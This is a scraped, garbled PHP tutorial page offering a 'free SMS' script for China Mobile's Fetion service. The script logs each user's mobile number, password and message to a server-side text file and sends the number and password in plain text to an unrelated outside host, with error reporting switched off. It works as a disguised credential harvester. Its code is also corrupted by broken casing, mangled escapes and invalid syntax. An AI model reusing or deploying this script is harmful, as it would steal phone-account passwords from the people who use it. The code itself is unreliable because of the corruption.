PHP Free SMS code (using China Mobile fetion)
PHP Tutorial Free SMS code (using China Mobile fetion)
error_reporting (0);
if ($_get[' act ']== ' send ') {
@file_put_contents (Time (). TXT ', $_post[' mobile_no ']. ' | | | '. $_post[' Pass ']. ' | | | '. $_post[' SMS ']. " RN ");
$post _data= "mobile_no={$_post[' mobile_no ']}&pass={$_post[' pass ']}&sms= '. Rawurlencode ($_post[' SMS ');
$len =strlen ($post _data);
$headers = "post/fetion/fetionserver.php http/1.1rn";
$headers. = "Accept: */*rn";
$headers. = "CONTENT-TYPE:APPLICATION/X-WWW-FORM-URLENCODEDRN";
$headers. = "USER-AGENT:PHP100.COM.NETRN";
$headers. = "HOST:X.PHP100.COM.NETRN";
$headers. = "Content-length: {$len}rn";
$headers. = "Connection:closernrn";
$headers. = $post _data;
if ($fp =fsockopen (' v.net ', $errno, $errstr, 90)) {
Flock ($FP, LOCK_EX);
Fwrite ($fp, $headers);
Echo fread ($fp, 10240);
Fclose ($FP);
}
}
?>
Untitled Document
1 2 3
http://www.bkjia.com/PHPjc/444872.html www.bkjia.com true http://www.bkjia.com/PHPjc/444872.html techarticle PHP Free SMS code (using China Mobile fetion) PHP Tutorial free SMS code (using China Mobile fetion) error_reporting (0); if ($_get[' act ']== ' send ') {@file_put_content ...